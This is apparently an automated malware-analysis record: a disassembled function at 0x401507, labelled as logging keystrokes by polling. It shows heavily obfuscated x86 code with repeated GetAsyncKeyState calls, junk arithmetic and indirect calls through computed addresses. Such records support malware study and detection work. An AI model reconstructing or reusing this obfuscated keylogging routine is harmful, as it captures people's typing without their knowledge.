Function at 0x401507
Capabilities:
Log keystrokes via polling

Disassembly:
lea eax, [eax + 0xa]
sub eax, 1
add eax, 1
xor edx, ebp
cwde
push 0xffffffff
pop edx
push edx
call dword [sym.imp.user32.dll_GetAsyncKeyState]
mov esi, edx
sub esi, 0x853
add esi, edi
ror esi, 3
sub esi, ebx
shr esi, 6
mov ebx, esi
shl ebx, 1
inc ebx
add ebx, eax
sub ebx, edx
add dword [0x43ade3], ebx
mov edx, 0x83a
ror edx, 1
shl edx, 1
sub edx, 0x1e4
mov ebx, edx
sub dword [0x43ae4d], ebx
shr ebx, 7
add dword [str.T_b_], ebx
ror ebx, 6
sub ebx, dword [0x43a48c]
sub dword [0x43a505], ebx
call fcn.0040110f
bswap edx
add eax, 1
inc ebx
sub edi, 2
inc eax
add esi, edx
add edx, ebx
mov edi, 0xffffffff
push edi
call dword [sym.imp.user32.dll_GetAsyncKeyState]
mov edx, 0
add dword [0x43a0e0], edx
inc edx
sub edx, esi
shl edx, 4
ror edx, 5
sub edx, dword [0x43a777]
add dword [0x43a5d3], edx
inc edx
add edx, eax
sub edx, 0xc10
add dword [0x43adeb], edx
jmp 0x40118a
mov edi, 0x9b
lea edx, [esi + 0x2d]
sub esi, edi
lea eax, [2]
mov esi, edi
xor eax, esi
inc edx
mov ecx, 0
add ecx, dword [0x43a1f7]
add ecx, 0xcf1
shr ecx, 1
add ecx, 0x76e
add ecx, 0x37d
jbe 0x40121d
sub ecx, 0xf52
shl ecx, 7
sub ecx, 0x769
ja 0x40122e
sub ecx, 0x3b
add ecx, 0x103
sub dword [0x43ad91], ecx
add ecx, dword [0x43addb]
add dword [0x43a6c9], ecx
jmp 0x4011de
mov si, 0x9008
mov eax, 0x403753
mov dword [0x43a272], 0x36cea
add eax, dword [0x43a272]
push eax
push 0x3598ad
pop edx
add edx, 0xbe8b7
mov edx, dword [edx]
call edx
or eax, eax
jne 0x4011e9
inc esp
sar ch, cl
pushfd
adc al, 0xf3
ljmp 0xb9e3
add ecx, eax
add esi, 1
lea eax, [ecx + 7]
sub ebx, 2
mov eax, 0x66
push 0xec3
pop edx
add edx, dword [0x43a92c]
sub edx, dword [0x43b35f]
add edx, 0xb51
inc edx
add edx, esi
sub edx, edi
sub edx, dword [0x43b34e]
mov ecx, edx
inc ecx
add ecx, 0x221
add dword [0x43a5a6], ecx
jmp 0x401301
cmp ebx, dword [0x43a03d]
mov edx, esi
dec eax
mov edi, eax
rol edi, 4
shr edi, 5
sub dword [0x43ace5], edi
add edi, dword [0x43b428]
shr edi, 3
add edi, 0xd99
jae 0x401380
sub edi, ecx
shr edi, 1
dec edi
add edi, edi
shr edi, 2
add dword [0x43a589], edi
mov eax, 0x40cef7
mov ebx, eax
mov dword [0x43a41c], 0xb16d
add ebx, dword [0x43a41c]
push dword [ebx]
pop esi
mov ebx, esi
call ebx
or eax, eax
je 0x401119
leave
ret
or ebx, 0x25
add edi, esi
add eax, esi
inc edi
mov ecx, 0xffffffff
push ecx
call dword [sym.imp.user32.dll_GetAsyncKeyState]
push 0xffb
pop eax
add eax, dword [0x43b2e8]
shl eax, 1
mov edx, eax
add edx, edi
inc edx
sub edx, 0x730
sub edx, dword [0x43a332]
mov ecx, edx
sub ecx, ebx
shl ecx, 7
sub dword [0x43b116], ecx
mov ebx, 0x12f19b8
dec esi
stosd dword es:[edi], eax
cmp eax, 0x8b472b1e
cmc
sub byte [eax - 0x6f], al
lea esi, [edi + 0x9a]
lea esi, [0xf]
sub ebx, 2
mov ebx, eax
mov ebx, 0x3faacd
mov dword [0x43a6ba], 0x3f7a7
add ebx, dword [0x43a6ba]
push ebx
mov edi, dword [sym.imp.GDI32.DLL_CreatePalette]
call edi
or eax, eax
jne 0x401113
call 0x4014c8
add eax, ebx
add edi, esi
add esi, eax
add esi, 2
lea ebx, [0xd]
sub esi, 2
add esi, eax
add ebx, eax
mov eax, 0xffffffff
push eax
call dword [sym.imp.user32.dll_GetAsyncKeyState]
mov edx, 0x6bf
sub edx, edi
shr edx, 1
add edx, dword [0x43b095]
inc edx
shl edx, 5
cmp edx, 0xf92
jb 0x401550
sub edx, dword [0x43ac30]
inc edx
cmp edx, 0xb7a
jne 0x401559
add edx, 0x435
inc edx
add dword [0x43afb3], edx
xor edx, edx
ror edx, 1
add edx, edi
sub edx, 0x3da
dec edx
mov edi, edx
sub edi, dword [0x43aa46]
add edi, 0x542
cmp edi, 0x2d4
jb 0x40158c
ror edi, 7
add dword [0x43a611], edi
add edi, edx
sub dword [0x43a4a7], edi
call 0x401507
add edx, edi
and ebx, 0x87
mov edi, 0x46
push 0xc69
pop edx
shr edx, 1
ror edx, 1
sub edx, ebx
shl edx, 1
add edx, dword [0x43ae1d]
sub edx, dword [0x43a29f]
add edx, dword [0x43a56e]
sub edx, dword [0x43a9cf]
add edx, dword [0x43b03a]
sub edx, 0x80e
ja 0x4015e2
sub edx, eax
add dword [0x43acce], edx
ret
sbb eax, ebx
sub eax, edi
or eax, 0x18
mov edi, 0x41
add esi, 2
sub edi, 2
push 0xffffffff
pop edi
push edi
call dword [sym.imp.user32.dll_GetAsyncKeyState]
mov ecx, 0
add ecx, esi
sub ecx, 0x8d0
jbe 0x401677
inc ecx
add ecx, dword [0x43ab85]
ror ecx, 1
sub ecx, edi
add ecx, 0x1dd
shr ecx, 1
add ecx, dword [0x43a8d8]
sub ecx, 0xf6a
add ecx, esi
add dword [0x43b08f], ecx
mov edx, 1
mov eax, edx
push eax
mov ecx, 0x13367a
add ecx, 0x2e4ada
push dword [ecx]
pop esi
mov ecx, esi
call ecx
or eax, eax
jne 0x401654
jmp 0x401642
mov eax, ebp
push eax
push esp
pop ebp
sub esp, 0x28
push edi
push esi
push 0x5a49f
push eax
call fcn.0040170c
mov dword [ebp - 0x14], eax
or eax, eax
je 0x4029f0
add esi, eax
neg eax
push eax
push 0
call fcn.0040170c
mov dword [ebp - 0x18], edi
add eax, esi
lea eax, [0x43acc5]
push eax
dec eax
lea eax, [0x43a4c1]
push eax
lea eax, [0x43a96e]
push eax
dec esi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x18], eax
sub edi, eax
push 0
dec eax
push 0x80972
call fcn.00401ab4
mov dword [0x43a272], eax
or eax, eax
je 0x402a34
add esi, eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push str.EeE__
push 0x80000001
mov esi, 0xe93634
mov dword [ebp - 0x28], 0xa7b4a4
sub esi, dword [ebp - 0x28]
call dword [esi]
mov esi, edi
shl esi, 8
mov dword [ebp - 0x14], esi
dec esi
mov edi, esi
add edi, dword [0x43ac26]
sub edi, ebx
sub edi, dword [0x43af2c]
ror edi, 1
shr edi, 1
sub dword [0x43aaba], edi
push edi
push 0
push 0
push eax
push 0
lea eax, [0x43a824]
push eax
call fcn.00401a0c
mov dword [ebp - 4], eax
or eax, eax
jne 0x402a9f
mov dword [ebp - 0x10], edi
inc eax
xor ebx, ebx
add ebx, 0xc22
dec ebx
shl ebx, 7
add ebx, ebx
shl ebx, 3
dec ebx
add ebx, edi
shl ebx, 1
ror ebx, 6
shl ebx, 4
mov dword [ebp - 4], ebx
push 0
push 0
push 0
mov dword [ebp - 0x20], 0x670d2
mov ebx, dword [ebp - 0x20]
mov dword [ebp - 0x14], 0x3b1066
add ebx, dword [ebp - 0x14]
push dword [ebx]
pop ebx
call ebx
mov dword [0x43ad5e], 0
mov ebx, dword [0x43ad5e]
push ebx
mov ebx, 3
mov eax, ebx
push eax
mov edx, dword [sym.imp.GDI32.DLL_GetWorldTransform]
call edx
or eax, eax
jne 0x401644
mov dword [ebp - 0x24], ebx
inc ebx
push eax
push 0
call fcn.0040170c
mov dword [ebp - 4], eax
or eax, eax
je 0x402b1b
add eax, edi
mov edi, 0xd4
mov edx, edi
push edx
push 0xa
pop ecx
push ecx
mov eax, 0x6d
mov ebx, eax
push ebx
mov edi, 3
push edi
push 1
pop esi
push esi
mov edx, dword [sym.imp.user32.dll_DefFrameProcW]
call edx
or eax, eax
jne 0x401478
mov dword [ebp - 0xc], eax
push ebx
push 0
call fcn.0040170c
lea eax, [0x43b094]
push eax
call fcn.00401bb4
mov dword [0x43a7b2], eax
lea eax, [0x43ac2b]
push eax
push esi
lea eax, [0x43a2d6]
push eax
push 0
push 0xfaf55
call fcn.00401ab4
mov dword [ebp - 0x18], eax
or eax, eax
jne 0x402b91
mov esi, edi
add edi, esi
lea eax, [0x43a5f7]
push eax
inc eax
push 0x5060e
call fcn.0040170c
xor ebx, ebx
push ebx
mov dword [ebp - 0x28], 1
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [sym.imp.GDI32.DLL_GetWorldTransform]
call ecx
or eax, eax
jne 0x40135e
push esi
push ebx
lea eax, [0x43aa45]
push eax
push esi
inc esi
lea eax, [0x43a573]
push eax
call fcn.004018b0
mov dword [ebp - 0xc], eax
push 0x85056
lea eax, [0x43b10a]
push eax
dec esi
mov dword [ebp - 0xc], eax
push 0
lea eax, [0x43b10c]
push eax
push 0xa2371
call fcn.00401ab4
mov dword [ebp - 0x20], eax
push 0x57e17
lea eax, [0x43a126]
push eax
push eax
push esi
call fcn.00401970
mov dword [ebp - 0x28], eax
or eax, eax
jne 0x402c1e
mov edx, ebx
inc esi
push ebx
add edi, esi
mov dword [ebp - 0x14], edx
push esi
mov dword [ebp - 0x20], eax
dec esi
lea eax, [0x43a831]
push eax
lea eax, [0x43a9ee]
push eax
call fcn.00401970
mov esi, 0x95d
rol esi, 1
mov ebx, esi
dec ebx
sub ebx, 0x7bf
js 0x402c5c
add ebx, 0x3e3
jae 0x402c5c
add ebx, dword [0x43b0db]
sub ebx, 0xfc0
add ebx, 0xac5
mov edx, ebx
add edx, esi
inc edx
add dword [0x43b0bb], edx
push ebx
push 0
push 0
call fcn.00401a6c
mov dword [ebp - 8], eax
xor esi, esi
sub esi, dword [str._nBJ_B]
rol esi, 7
sub esi, 0x436
rol esi, 1
inc esi
ror esi, 2
add esi, dword [0x43a3f3]
ror esi, 1
dec esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0xc], esi
mov ebx, 0
shl ebx, 1
add ebx, 0xe1c
inc ebx
add ebx, ebx
sub ebx, esi
sub ebx, dword [0x43a5ec]
sub ebx, 0xa5f
inc ebx
rol ebx, 1
mov dword [ebp - 0x24], ebx
sub dword [0x43b429], ebx
push 0
call fcn.0040191c
mov dword [ebp - 0x10], eax
push 0
sub ebx, eax
inc eax
or bl, dh
push 0
push esi
push 0
push 0x5f131
push 0x787c
call fcn.00401a0c
mov dword [0x43a086], eax
or eax, eax
je 0x402d00
sub ebx, esi
push eax
lea eax, [0x43a96f]
push eax
push esi
call fcn.00401a6c
push 0x61824
call fcn.00401bb4
mov dword [0x43b027], eax
or eax, eax
jne 0x402d25
mov dword [ebp - 0x1c], eax
dec ebx
mov ecx, 0
push ecx
push 0x404f76
pop ebx
mov ecx, 0x36109
add ebx, ecx
push ebx
mov esi, 0x20a454
mov dword [ebp - 0x1c], 0x20dc98
add esi, dword [ebp - 0x1c]
push dword [esi]
pop dword [0x43a6b0]
mov esi, dword [0x43a6b0]
call esi
or eax, eax
jne 0x401303
lea eax, [0x43a0aa]
push eax
lea eax, [0x43a557]
push eax
call fcn.004017b4
mov dword [ebp - 0x24], eax
or eax, eax
jne 0x402d7c
mov edx, esi
xor edi, edi
add edi, edi
shr edi, 1
mov ebx, edi
shr ebx, 5
rol ebx, 4
add ebx, 0xd08
add ebx, edi
rol ebx, 1
add dword [0x43a64c], ebx
mov dword [ebp - 0x24], ebx
dec ebx
push ebx
push ebx
call fcn.0040170c
push 0xf0858
push edi
call fcn.004017b4
mov dword [ebp - 0x10], eax
or eax, eax
je 0x402dbb
mov dword [ebp - 0x1c], esi
inc eax
push ebx
push ebx
call fcn.0040170c
mov dword [ebp - 0x1c], eax
or eax, eax
je 0x402dcd
add edi, ebx
sub ebx, eax
lea eax, [0x43a7fe]
push eax
push esi
call fcn.0040170c
push 0xdac
pop edx
add edx, 0xcbe
ja 0x402deb
mov dword [ebp - 0x14], edx
dec edx
sub edx, eax
sub edx, 0x245
je 0x402dfc
sub dword [0x43a6de], edx
rol edx, 1
add edx, edx
add edx, dword [0x43a6ac]
sub edx, 0x2c7
inc edx
mov dword [ebp - 0x28], edx
lea eax, [0x43ae2d]
push eax
push 0x2014f
push ebx
inc edi
lea eax, [0x43a574]
push eax
push 0x175e0
push 0
call fcn.00401a0c
mov dword [0x43a398], eax
or eax, eax
jne 0x402e3c
xor ebx, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], ebx
dec eax
add esi, edi
sub edi, eax
inc eax
push 0
inc esi
push esi
lea eax, [0x43b193]
push eax
call fcn.00401850
push 0
lea eax, [0x43a516]
push eax
lea eax, [0x43aac5]
push eax
lea eax, [0x43a7dd]
push eax
call fcn.00401970
mov dword [0x43b114], eax
or eax, eax
je 0x402e7f
sub esi, edi
push esi
lea eax, [0x43aa39]
push eax
push 0
lea eax, [0x43af91]
push eax
push 0
lea eax, [0x43a521]
push eax
call fcn.00401b54
mov dword [ebp - 0x14], eax
push 0x26e11
lea eax, [0x43b197]
push eax
inc ebx
push 0
mov ecx, 0x48503ecd
sub ecx, 0x48102255
call ecx
cmp eax, 0
je 0x4011de
mov ebx, eax
mov eax, 0x74
inc eax
add eax, dword [0x43a311]
rol eax, 1
sub eax, 0xf3
add eax, 0x45b
add eax, 0xbfa
jae 0x402eea
dec eax
sub dword [0x43afa5], eax
sub eax, 0xafa
shl eax, 5
rol eax, 7
mov dword [ebp - 0x14], eax
push 0
call fcn.00401bb4
mov dword [ebp - 0xc], eax
or eax, eax
jne 0x402f11
xchg eax, esi
xchg edi, esi
add eax, esi
inc eax
push 0
push 0
lea eax, [0x43afe1]
push eax
call fcn.00401a6c
mov dword [ebp - 0x28], eax
mov edx, 0xe37
sub edx, esi
sub edx, dword [0x43a66c]
add dword [0x43a847], edx
cmp edx, 0xf13
jns 0x402f44
add edx, edx
mov dword [ebp - 0x14], edx
sub edx, ebx
shr edx, 1
add dword [0x43aed2], edx
dec edx
sub dword [0x43ab16], edx
push 0xbc8c4
push 0xc025
call fcn.004017b4
mov dword [ebp - 8], eax
push edi
call fcn.0040180c
mov dword [0x43a0b2], eax
or eax, eax
je 0x402f7b
add esi, eax
push 0x4e968
inc eax
push 0x48229
push 0x6fba2
call fcn.00401750
mov dword [0x43a775], eax
mov dword [str.HHHJ_n__b_nHJ_n], 0
mov ecx, dword [str.HHHJ_n__b_nHJ_n]
push ecx
xor ecx, ecx
push ecx
mov dword [ebp - 0x1c], 0
mov esi, dword [ebp - 0x1c]
push esi
mov dword [0x43a02a], 0
mov esi, dword [0x43a02a]
push esi
mov esi, dword [sym.imp.kernel32.dll_CreateEventW]
call esi
or eax, eax
je 0x401119
mov edi, 0x23362b
mov esi, edi
mov dword [0x43aa78], 0x206fdc
add esi, dword [0x43aa78]
push esi
xor ecx, ecx
push ecx
mov edi, 0x9893e
mov edx, edi
mov dword [0x43a6fe], 0x37f87a
add edx, dword [0x43a6fe]
push dword [edx]
pop dword [0x43ad1b]
mov edx, dword [0x43ad1b]
call edx
or eax, eax
jne 0x401263
push 0
call fcn.0040191c
mov dword [0x43ad11], eax
mov dword [ebp - 0x20], eax
inc eax
push 0
call fcn.00401bb4
mov dword [0x43a7bc], eax
or eax, eax
je 0x403040
dec esi
lea eax, [0x43ab1c]
push eax
push 0
inc edi
push 0x37ff
push 0
call fcn.00401970
mov dword [ebp - 0x10], eax
mov ecx, 0
push ecx
mov dword [ebp - 8], 0xed
mov edi, dword [ebp - 8]
push edi
mov dword [ebp - 0x20], 0x59
mov esi, dword [ebp - 0x20]
push esi
mov edi, 1
mov eax, edi
push eax
mov dword [ebp - 0x10], 0x7c3d78
mov edi, dword [ebp - 0x10]
sub edi, 0x3abc08
call dword [edi]
or eax, eax
jne 0x401356
push esi
lea eax, [0x43af0e]
push eax
push 0x12993
add esi, ebx
push 0
or di, sp
inc esi
inc eax
lea eax, [0x43b1c5]
push eax
push 0
call fcn.00401b54
mov dword [0x43a7ab], 0
mov eax, dword [0x43a7ab]
push eax
push 1
pop edx
push edx
mov ecx, 0x36b9af
mov dword [ebp - 8], 0xac7b1
add ecx, dword [ebp - 8]
push dword [ecx]
mov eax, 0x43b20a
pop dword [eax]
mov ecx, dword [0x43b20a]
call ecx
mov dword [ebp - 8], eax
or eax, eax
je 0x4030fc
add edi, ebx
inc eax
mov eax, 1
push eax
mov ecx, dword [sym.imp.kernel32.dll_GetThreadPriority]
call ecx
or eax, eax
je 0x40130f
mov eax, 1
push eax
mov edx, 0xd980fe
mov ecx, edx
mov dword [ebp - 0x1c], 0x97ffa6
sub ecx, dword [ebp - 0x1c]
call dword [ecx]
inc eax
jne 0x40164e
push 0
call fcn.0040191c
mov dword [0x43a8b9], eax
or eax, eax
je 0x403144
add eax, ebx
push 0
push 0
push 0
push eax
push 0x1e1d
call fcn.004018b0
mov dword [0x43b2b3], eax
or eax, eax
jne 0x403161
sub edi, eax
dec edi
push 0
push esi
mov ecx, 0x766b7180
sub ecx, 0x762b4fd4
call ecx
push esi
push edi
push 0
mov dword [ebp - 0x28], eax
or eax, ebx
push 0x2c37a
push 0x50437
mov dword [ebp - 0x20], esi
inc eax
push 0xd8a50
lea eax, [0x43a503]
push eax
push 0
call fcn.004019b8
mov dword [ebp - 0x10], eax
inc eax
add eax, ebx
sub eax, ebx
or si, si
add eax, edi
inc eax
lea eax, [0x43b1c8]
push eax
lea eax, [0x43a32f]
push eax
call fcn.004017b4
mov dword [0x43abd7], eax
or eax, eax
je 0x4031c6
inc esi
push ebx
lea eax, [0x43a12d]
push eax
push 0
call fcn.00401a6c
mov dword [ebp - 0xc], eax
or eax, eax
je 0x4031e0
mov dword [ebp - 0x24], edi
dec esi
push 0x496b1
call fcn.00401afc
mov dword [ebp - 0x28], eax
or eax, eax
je 0x4031f2
inc eax
push 0
push 0x7e1ab
push eax
lea eax, [0x43a85f]
push eax
push eax
inc edi
push 0
call fcn.00401b54
mov dword [ebp - 0x24], eax
or eax, eax
jne 0x403213
mov eax, esi
lea eax, [0x43a6e6]
push eax
call fcn.0040191c
mov dword [ebp - 0x14], eax
push 0x90f30
lea eax, [0x43a525]
push eax
push 0xc8d9d
add edi, eax
mov dword [ebp - 0xc], eax
push 0xc0cad
push edi
lea eax, [0x43a679]
push eax
call fcn.00401a0c
mov dword [ebp - 8], eax
mov ecx, 0
inc ecx
ror ecx, 1
add ecx, esi
mov eax, ecx
shr eax, 1
add eax, eax
sub eax, edi
ror eax, 8
sub eax, 0x1b8
add dword [0x43a4e9], eax
push 0xbd226
call fcn.0040191c
mov dword [0x43b0ee], eax
or eax, eax
je 0x403282
dec ebx
ret